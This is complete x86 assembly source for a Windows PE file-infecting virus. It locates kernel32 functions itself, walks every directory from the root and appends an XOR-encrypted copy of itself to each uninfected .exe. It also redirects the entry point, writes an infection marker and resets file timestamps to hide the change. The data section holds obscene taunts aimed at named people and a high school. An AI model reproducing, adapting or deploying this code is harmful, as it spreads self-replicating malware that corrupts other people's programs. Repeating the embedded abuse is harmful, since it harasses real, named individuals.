.386
locals
jumps
.model flat, STDCALL

extrn ExitProcess : PROC

org 1000h
.data
     db "This is a virus.",0

.code
progstart:
        push 0
        call ExitProcess


STARTVIRUS:

        call relativity
relativity:
        pop ebp
        cld
        mov eax, ebp

        db 2dh                          ;sub eax,
SaveEntry dd (offset relativity- offset progstart)
        push eax
        sub ebp, offset relativity

        mov ecx, dword ptr [esp + 4]
        and ecx, 0FFF00000h
        mov ebx, 0BFF70000h            ;Base address of win95's kernel
        cmp ecx, 0BFF00000h            ;are we win95 or 98?
        je vulnerable
        mov ebx, 077f00000h
        cmp ecx, ebx                   ;are we NT?
        jne exit


vulnerable:

        mov ecx, ebx                            
        mov edx, ecx                            ;Put imagebase in edx
        mov dword ptr [ebp + imagebase], ecx    ;Save the imagebase
        
        xor eax, eax                            ;Clear eax
        mov ax, word ptr [edx + 3Ch]            ;Get relocation in MZ header
        add ecx, eax                            ;Make ecx start of PE header

        cmp word ptr [ecx], 'EP'                ;Is everything working right?
        jne exit

        mov eax, dword ptr [ecx + 120]         ;Get RVA of export table

        add eax, edx                           ;Add on the Imagebase
        mov dword ptr [ebp + offset ExportTable], eax   ;Save the exporttable's address

        mov ecx, dword ptr [eax + 24]          ;Get number of entry's
        dec ecx                                ;Drop number by one so bottom loop works
        mov dword ptr [ebp + offset NumExports], ecx ;Store number of entrys
 
        mov ecx, dword ptr [eax + 28]          ;Get RVA of the Address Table
        add ecx, edx                           ;Bias it by the Image Base
        mov dword ptr [ebp + offset AddressTable], ecx ;Save the address

        mov ecx, dword ptr [eax + 36]          ;Get RVA of the Ordinal Table
        add ecx, edx                           ;Bias it by the Image Base
        mov dword ptr [ebp + offset OrdinalTable], ecx ;Save the address

        mov ecx, dword ptr [eax + 32]          ;Get RVA of the Name Table
        add ecx, edx                           ;Bias it by the Image Base
        mov dword ptr [ebp + offset NameTable], ecx ;Save the address
     
                ;Upon entry:
                ;           ecx=start of RVA String table
                ;           edx=imagebase
                ;           ebx=start of string of function to resolve
                ;Returns:
                ;           ebx=Address of function
                
        lea ebx, [ebp + offset LoadLibraryaS] ;Function to scan for
        push ecx    ;Save start of RVA name table
        call resolveexport  ;Resolve LoadLibraryA


        pop ecx
        mov dword ptr [ebp + offset loadlibrarya], ebx ;Save address of loadlibrarya

        lea ebx, [ebp + GetProcAddressS]     ;Load address of function to resolve
        call resolveexport  ;Resolve getprocaddress
        mov dword ptr [ebp + offset getprocaddress], ebx  ;Save getprocaddress


        lea esi, [ebp + offset APIList]       ;Where function strings are started
        lea edi, [ebp + offset FindFile]      ;Where to store resolved address's
        call maketable

        lea ebx, [ebp + offset DirSave]
        push ebx
        push 256
        mov ebx, [ebp + offset GetCurrentDir]
        call ebx
        cmp eax, 00h
        je exit              ;If not successfull then quit

        lea ebx, [ebp + offset Root]   ;Go to the root directory
        push ebx
        mov ebx, dword ptr [ebp + offset SetCurrentDir]
        call ebx
        cmp eax, 01           ;Were we sucessfull?
        jne exit              ;If not then exit

        call InfectFirstDirectory

        lea ebx, [ebp + offset DirSave]   ;Go to the original directory
        push ebx
        mov ebx, dword ptr [ebp + offset SetCurrentDir]
        call ebx

exit:
        pop eax                               ;Return to host
        jmp eax


InfectFirstDirectory:
        lea ebx, [ebp + offset win32_file_data]
        push ebx
        lea ebx, [ebp + offset DirWildCard]
        push ebx
        mov ebx, dword ptr [ebp + offset FindFile]
        call ebx
        cmp eax, -1
        je DoneDirScanning
        mov dword ptr [ebp + offset DirSearchHandle], eax  ;Save our search handle
        
        cmp dword ptr [ebp + offset fileattr], 10h
        jne NotADir1
        cmp byte ptr [ebp + offset Fullname], '.'
        je InfectNextDirectory


        call TryInfectingDir   ;Try infecting the possible directory
NotADir1:

InfectNextDirectory:

        lea ebx, [ebp + offset win32_file_data]     ;Where to store fileinfo
        push ebx
        push dword ptr [ebp + offset DirSearchHandle]
        mov ebx, dword ptr [ebp + offset FindNext]
        call ebx                                ;Find next file

        cmp eax, 01
        jne DoneDirScanningNoneFound

        cmp dword ptr [ebp + offset fileattr], 10h   
        jne NotADir2
        cmp byte ptr [ebp + offset Fullname], '.'
        je NotADir2

        call TryInfectingDir
NotADir2:
        jmp InfectNextDirectory


DoneDirScanning:

        push dword ptr [ebp + offset DirSearchHandle]   ;Close the search handle
        mov eax, [ebp + offset FindClose]
        call eax

DoneDirScanningNoneFound:
        ret

TryInfectingDir:

        lea ebx, [ebp + offset FullName]   ;Go to the dir we found
        push ebx
        mov ebx, dword ptr [ebp + offset SetCurrentDir]
        call ebx
        cmp eax, 01           ;Was it really a directory?
        jne NotaDirectory      ;If not dont infect it or drop out of it

        call FindFirstFile

        push dword ptr [ebp + offset DirSearchHandle]
        call InfectFirstDirectory
        pop dword ptr [ebp+ offset DirSearchHandle]

        lea ebx, [ebp + offset DotDot]   ;We are going to the previous dir
        push ebx
        mov ebx, dword ptr [ebp + offset SetCurrentDir]
        call ebx
NotaDirectory:
        ret






FindFirstFile:
        
        lea ebx, [ebp + offset win32_file_data] ;Where file info goes
        push ebx
        lea ebx, [ebp + offset EXEWildcard]     ;What to search for
        push ebx
        mov ebx, dword ptr [ebp + offset FindFile]        ;Find first file
        call ebx                                

        cmp eax, -1                             ;Error?
        je ExitScanning
        mov dword ptr [ebp + offset SearchHandle], eax  ;Save search handle

        jmp check_file

FindNextFile:

        lea ebx, [ebp + offset win32_file_data]     ;Where to store fileinfo
        push ebx
        push dword ptr [ebp + offset SearchHandle]   ;Saved search handle
        mov ebx, dword ptr [ebp + offset FindNext]
        call ebx                                ;Find next file


        cmp eax, 01
        jne DoneScanning


check_file:


        push 0
        push 20h
        push 3                         ;Open existing file
        push 0
        push 0
        push 80000000h + 40000000h     ;Open for reading and writing
        lea ebx, [ebp + offset fullname]
        push ebx
        mov ebx, dword ptr [ebp + offset Createfile]
        call ebx

        cmp eax, -1                    ;Was there any error?
        je FindNextFile

        mov dword ptr [ebp + FileHandle], eax   ;Save file handle

        xor eax, eax
        lea edi, [ebp + offset WorkBuffer + 56] ;Go to memory to initalize
        stosd
        stosd      ;This fixes a very lame bug, It should really zero out the
                   ;whole workbuffer before each file
                   ;is read but since its a runtime virus its written
                   ;for efficency.


        mov edx, 63                    ;Read in first 63 bytes
        lea ecx, [ebp + offset WorkBuffer]  ;Buffer we read into
        call Read_file

        cmp dword ptr [ebp + offset BytesRead], 63
        jb TryNext                     ;Did we read in enough?

        lea ebx, [ebp + offset WorkBuffer]
        cmp word ptr [ebx], 'ZM'           ;Is it an exe?
        jne TryNext                        ;If it isnt scan next file

        add ebx, 3Bh                       ;Go to the infection marker

        cmp byte ptr [ebx], 'a'            ;are we infected already?
        je TryNext                         ;If so try next file
        inc ebx                            ;Point to relocation
        mov edx, dword ptr [ebx]           ;Read the relocation

        mov dword ptr [ebp + offset MZReloc], edx  ;Save the relocation

        call Set_Pointer                   ;Set file pointer to PE header

        cmp eax, 0FFFFFFFFh
        je TryNext

        mov edx, 120                    ;Try to read in first 120 bytes of PE Header
        lea ecx, [ebp + offset WorkBuffer]  ;Buffer we read into
        call Read_file
        cmp dword ptr [ebp + offset BytesRead], 120
        jne TryNext                     ;Did we read in enough?

        cmp word ptr [ebp + offset WorkBuffer], 'EP'  ;Are we in in the peheader?
        jne TryNext

        mov ebx, dword ptr [ebp + offset HeaderSze]    ;Get the HeaderSize
        sub ebx, dword ptr [ebp + offset MZReloc]  ;Subtract the MZ header
        mov dword ptr [ebp + offset HeaderSize], ebx  ;Save the PE header's size

        cmp ebx, 3000                ;Are we going to overflow our memory?
        ja TryNext
        push ebx                     ;Save number of bytes to read in

        mov edx, dword ptr [ebp + offset MZReloc] ;Reset pointer back to the peheader
        call Set_Pointer

        cmp eax, 0FFFFFFFFh
        je TryNext

        pop edx                          ;Try to read in HeaderSize bytes
        lea ecx, [ebp + offset WorkBuffer]  ;Buffer we read into
        call Read_file

        mov ebx, dword ptr [ebp + offset Headersize]   ;How many bytes should have been read?
        cmp ebx, dword ptr [ebp + offset BytesRead]  
        jne TryNext                     ;Did we read in enough?
        
        xor ecx, ecx
        mov cx, word ptr [ebp + offset NumObjects] ;Read in number of objects

        cmp cx, 00h                                    ;Are there objects?
        je TryNext

        xor ebx, ebx
        mov bx, word ptr [ebp + offset NTHeaderSze]  ;Read in the NTHeaderSize
        add ebx, 24                                      ;Add on the rest 

        lea edx, dword ptr [ebp + offset WorkBuffer]
                          ;Workbuffer + NTHeadersize + 24 = start of object table
        add edx, ebx                        ;Locate the object table

        push edx                            ;Save start of object table
        xor edx, edx
        mov eax, ecx                        ;Handoff # of objects
        mov ecx, 40                         ;Each object is 40 bytes long
        mul ecx                             ;# objects * 40
        sub eax, 40                         ;Backtrack to start of last object

        pop edx            ;Make edx the start of the object table in memory

        add edx, eax                      ;Point edx to last object

        mov ebx, dword ptr [edx + 20]   ;Load the Physical Offset
        push ebx                        ;Save for use with virtual size
        mov eax, dword ptr [edx + 16]   ;Load the Physical Size
        add ebx, eax          ;Add them together
        mov edi, dword ptr [ebp + offset FileSize]  ;Wont work if file is larger than 4.3 gigs...oh well
        
        add edi, (offset EndVirus - offset StartVirus) + (offset Encryptionframe - offset Encrypt) ;Put on the virussize of our virus in memory

        sub edi, ebx          ;Determine distance from end of virus to old end of object
        add eax, edi          ;Make our new physical size
           
        mov ebx, eax
        sub ebx, (offset EndVirus- offset StartVirus) + (offset Encryptionframe - offset Encrypt)

        mov esi, dword ptr [edx + 12]  ;Get RVA for determining entrypointRVA
        add esi, ebx        ;Find out our entrypointRVA


        mov dword ptr [ebp + offset VirusRVA], esi  ;Save the virus's RVA

        add esi, dword ptr [ebp + offset ImgBase] ;Make the Entrypoint RVA the EntrypointVA
        add esi, (offset EncryptionFrame - offset Encrypt)  ;Make it point to the encrypted virus in memory
        mov dword ptr [ebp + offset VirusVA], esi  ;Save the VA for later

        mov ecx, dword ptr [ebp + offset FileAlign]     ;Get our alignment value

;        call File_Align       ;Aligns eax          

        mov dword ptr [edx + 16], eax    ;Save our new physical size

        pop ebx                         ;Load the physical offset
        mov eax, dword ptr [edx + 8]    ;Load the virtual size
        add ebx, eax                    ;Determine end of virtual space
        mov edi, dword ptr [ebp + offset FileSize]
        add edi, (offset BufferEnd - offset StartVirus) + (offset EncryptionFrame - offset Encrypt) ;Add the virus and its heap to it
        
        sub edi, ebx    ;Determine distance between end of virus's heap and end of virtual space

        add edi, eax    ;Make our virtual size

        mov dword ptr [edx + 8], edi  ;Save our new virtualsize

        mov ecx, dword ptr [edx + 12]  ;Get the objects RVA
        add ecx, edi                   ;Make our new ImageSize
        mov dword ptr [ebp + offset ImageSize], ecx  ;Save our new Imagesize
        
        mov dword ptr [edx + 36], 0E0000040h  ;Fix the flags

        ;We do all the dispatcher and loading shit here
        mov ecx, dword ptr [ebp + offset EntrypointRVA]

        mov eax, dword ptr [ebp + offset VirusRVA]
        mov dword ptr [ebp + offset EntrypointRVA], eax

        sub eax, ecx

        add eax, (offset relativity - offset startvirus) + (offset EncryptionFrame - offset Encrypt) ;Makeup for the call instruction

        mov dword ptr [ebp + offset SaveEntry], eax  

        mov edx, 3Bh                    ;Offset we write marker byte at

        call Set_Pointer                ;Go to place to write marker

        mov ebx, 1h                     ;Write one byte
        lea ecx, dword ptr [ebp + offset InfectionMarker]   ;The byte to write
        call Write_File                 ;Write the infection marker

        mov edx, dword ptr [ebp + offset MZReloc]
        call Set_Pointer                ;Goto the start of the peheader

        mov ebx, dword ptr [ebp + offset BytesRead]  ;How much to write
        lea ecx, [ebp + offset WorkBuffer] ;Write our modified PE header
        call Write_File                 ;Write it!


        lea esi, [ebp + offset StartVirus]    ;Copy the virus to the work buffer to encrypt
        lea edi, [ebp + offset WorkBuffer]    ;Where to copy it
        mov dword ptr [ebp + offset StartEncrypt], edi ;We use this below

        mov ecx, (offset EndVirus - offset StartVirus)    ;How much to copy
        rep movsb

        inc byte ptr [ebp + offset Key]   ;Change the key 

        Call Encrypt                      ;Encrypt our code

        mov ebx, dword ptr [ebp + VirusVA]    ;Get our Entrypoint VA
        mov dword ptr [ebp + offset StartEncrypt], ebx  ;Store it in the routine

        xor edx,edx
        call Set_EOF                    ;Go to EOF

        mov ebx, (offset EncryptionFrame - offset Encrypt)  ;Size of encryption routine to write
        lea ecx, [ebp + offset Encrypt]   ;Write encryption routine
        call Write_File

        mov ebx, (offset EndVirus - offset StartVirus) ;Size of the virus to write
        lea ecx, [ebp + offset WorkBuffer] ;Where the encrypted virus is in memory
        call Write_File                    ;Write the virus

        lea ebx, [ebp + offset LastWriteTime]    ;Get ptr to last writetime
        push ebx
        sub ebx,8              ;Point it to lastaccesstime
        push ebx               
        sub ebx, 8             ;Point it to createtime
        push ebx
        push dword ptr [ebp + offset FileHandle]   ;Push on the file handle
        mov ebx, dword ptr [ebp + offset SetFileTime]
        call ebx               ;Change the file's times

        call Close_File



DoneScanning:

       push dword ptr [ebp + offset SearchHandle]
       mov eax, [ebp + offset FindClose]
       call eax


ExitScanning:

       ret

TryNext:

        call Close_File

        jmp FindNextFile

Read_File:

        push 0
        lea ebx, [ebp + offset BytesRead]  ;Where to put # of bytes read
        push ebx                          

        push edx        ;Number of bytes to read
        push ecx        ;Address of buffer
        push dword ptr [ebp + offset FileHandle]
        mov ebx, dword ptr [ebp + offset ReadFile]
        call ebx        ;Read the file
      
        ret

Write_File:                               
        push 0
        lea eax, [ebp + offset BytesWritten]
        push eax        ;Where to return # of bytes written

        push ebx        ;# of bytes to write
        push ecx        ;Where to write from
        push dword ptr [ebp + offset FileHandle]
        mov ebx, dword ptr [ebp + offset WriteFile]
        call ebx
        ret


                ;Upon Entry:
                ;         edx=New actual address in file


Set_EOF:
        push 02h
        jmp jumpover
Set_Pointer:
        push 00

jumpover:

        push 0
        push edx           ;Where to go in file
        push dword ptr [ebp + offset FileHandle]
        mov ebx, [ebp + offset SetFilePointer]
        call ebx
        ret



File_Align:

        ;Upon entry ecx = alignment value
        ;eax = Size to process
        ;eax returns aligned size
        push edx
        xor edx, edx
        div ecx
        inc eax
        mul ecx

        pop edx
        ret

Close_File:

        push dword ptr [ebp + offset FileHandle]
        mov eax, dword ptr [ebp + offset CloseFile]
        call eax   ;Close the file
        ret


        ;Upon entry:
        ;           esi=Function string table.
        ;           edi=Our address table.


maketable:

        lea ebx, [ebp + offset loadlibrarya]
        push esi                  ;Next in string table
        call dword ptr [ebx]      ;call loadlibrarya
        mov edx, eax              ;Save module handle

loopuntilnull:
                          
        inc esi
        cmp byte ptr [esi], 00h
        jne loopuntilnull         ;loop until at end of string
        inc esi
        cmp byte ptr [esi], 01h    ;Are we on last loop?
        je donelooping          


        lea ebx, [ebp + offset GetProcAddress]

        push edx
        push esi                  ;pointer to function name
        push edx                  ;base address of dll
        call dword ptr [ebx]     ;Getprocaddress in import table
        pop edx
        stosd                       
        jmp loopuntilnull

donelooping:

        ret






resolveexport:
                ;Upon entry:
                ;           ecx=start of RVA String table
                ;           edx=imagebase
                ;           ebx=start of string of function to resolve
                ;Returns:
                ;           ebx=Address of function

        xor edi,edi

scanstring:
        mov esi, dword ptr [ecx]         ;Load RVA of string to scan
        add esi, edx   ;Bias it by the Imagebase

        push ebx                         ;Bad way to save ebx for later use
                                        
scanloop:
        lodsb

        cmp al, 00h                             ;Is it a null character?
        je foundstring
        cmp byte ptr [ebx], al                  ;Does the character match?
        jne scannext                            ;If not scan next string
                                                 
        inc ebx                                 ;Advance the byte we are
                                                ;scanning for.
        jmp scanloop
scannext:
        pop ebx
        add ecx, 4                              ;Move it to the next export?
        inc edi                                 ;Increment the counter
        cmp dword ptr [ebp + NumExports], edi   ;Are we on last export?
        je exit                                 ;Abort if out of exports

        jmp scanstring

foundstring:
        pop ebx                            ;Keep the stack nice and neat

        add edi, edi                       ;Multiply by 2 because Ordinal
                                           ;Table is 16 bits
        mov ebx, dword ptr [ebp + OrdinalTable] 
        add edi, ebx                       ;Point edi to getprocaddress's entry

        xor ebx, ebx
        mov bx, word ptr [edi]             ;Get 16bit ordinal number
        
        lea ebx, [ebx * 4]                 ;Multiply by 4 because the Address
                                           ;table is made of double words.
        mov esi, dword ptr [ebp + AddressTable]
        add esi, ebx         ;Point esi to RVA in addresstable

        mov ebx, dword ptr [esi]        ;Move RVA to ebx
        add ebx, edx                    ;Offset it with the imagebase

        ret

Encrypt:
        mov ecx, (offset EndVirus - offset StartVirus)

        db 0BBh   ;Mov ebx,
StartEncrypt dd 000000000h
        db 0B0h   ;mov al,
Key     db 00h


XorLoop:
       xor byte ptr [ebx], al
       inc ebx
       dec ecx
       cmp ecx, 00h
       jne XorLoop
EncryptionFrame:
       ret

STARTDATA:
         ;We use these to find functions in KERNEL32.DLL's export table
        LoadLibraryAS   db "LoadLibraryA"
        GetProcAddressS db "GetProcAddress"

         ;These are the functions we need to get the address's of: 
APIList:
             db "KERNEL32",0              
             db "FindFirstFileA",0
             db "FindNextFileA",0
             db "FindClose",0
             db "SetFileAttributesA",0
             db "SetFileTime",0
             db "CreateFileA",0
             db "ReadFile",0
             db "WriteFile",0
             db "SetFilePointer",0
             db "CloseHandle",0        
             db "SetCurrentDirectoryA",0 
             db "GetCurrentDirectoryA",0,01h  ;01h stops the looking up


          db  "Boles and Manning are arrogant facists."
          db  "  They have no computer sk1llz and KENSTON HIGH SCHOOL's"
          db  "  computers are 0wn3d.  I AM BACK KOONS YOU MOTHERFUCKER "
          db  "dowN wiTh KenSTON..... yOU tRIED tO rID yOUrSELf oF mE BefoRE"
          db  "bUT fAILED"
          db  "HAHAHAHAHAHAHAHAHAHAHAHAHAHAHA"

        DirWildcard db "*.",0
        EXEWildcard db "*.exe",0
        InfectionMarker db "a"
        DotDot         db "..",0
        root           db "\",0

ENDVIRUS:

           ;These are addresses already offseted by the Image base when saved
         ImageBase      dd 1 dup (?)
         ExportTable    dd 1 dup (?)
         AddressTable   dd 1 dup (?)
         NameTable      dd 1 dup (?)
         OrdinalTable   dd 1 dup (?)
         NumExports     dd 1 dup (?)
         GetProcAddressCall dd 1 dup (?)


           ;These are used in infecting files
         BytesWritten   dd 1 dup (?)
         SearchHandle   dd 1 dup (?)
         DirSearchHandle dd 1 dup (?)
         FileHandle     dd 1 dup (?)
         BytesRead      dd 1 dup (?)
         MZReloc        dd 1 dup (?)
         HeaderSize     dd 1 dup (?)
         NTHeaderSize   dd 1 dup (?)
         VirusRVA       dd 1 dup (?)
         InfectCounter  dd 1 dup (?)
         VirusVA        dd 1 dup (?)

        ;Place to store the two routines used to look up the rest
         LoadLibraryA   dd 1 dup (?)
         GetProcAddress dd 1 dup (?)

          ;This becomes a table of these functions address's
        FindFile       dd 1 dup (?)
        FindNext       dd 1 dup (?)
        FindClose      dd 1 dup (?)
        SetAttrib      dd 1 dup (?)
        SetFileTime    dd 1 dup (?)
        CreateFile     dd 1 dup (?)
        ReadFile       dd 1 dup (?)
        WriteFile      dd 1 dup (?)
        SetFilePointer dd 1 dup (?)
        CloseFile      dd 1 dup (?)
        SetCurrentDir  dd 1 dup (?)
        GetCurrentDir  dd 1 dup (?)

        DirSave        db 256 dup (?)

win32_file_data:
        fileattr dd 1 dup (?)
        createtime dd 2 dup (?)
        lastaccesstime dd 2 dup (?)
        lastwritetime dd 2 dup (?)
        dd 1 dup (?)
        filesize dd 1 dup (?)
        resv dd 2 dup (?)
        fullname db 256 dup (?)
        realname db 256 dup (?)

WorkBuffer:

        Signature dd 1 dup (?)
        Cputype dw 1 dup (?)
        NumObjects dw 1 dup (?)
          dd 3 dup (?)
        NtHeaderSze dw 1 dup (?)
        Flags dw 1 dup (?)
          dd 4 dup (?)
        EntrypointRVA dd 1 dup (?)
          dd 2 dup (?)
        ImgBase dd 1 dup (?)
        Objectalign dd 1 dup (?)
        Filealign dd 1 dup (?)
          dd 4 dup (?)
        Imagesize dd 1 dup (?)
        Headersze dd 1 dup (?)

        db 3000 dup (?)
BufferEnd:

ends
end STARTVIRUS
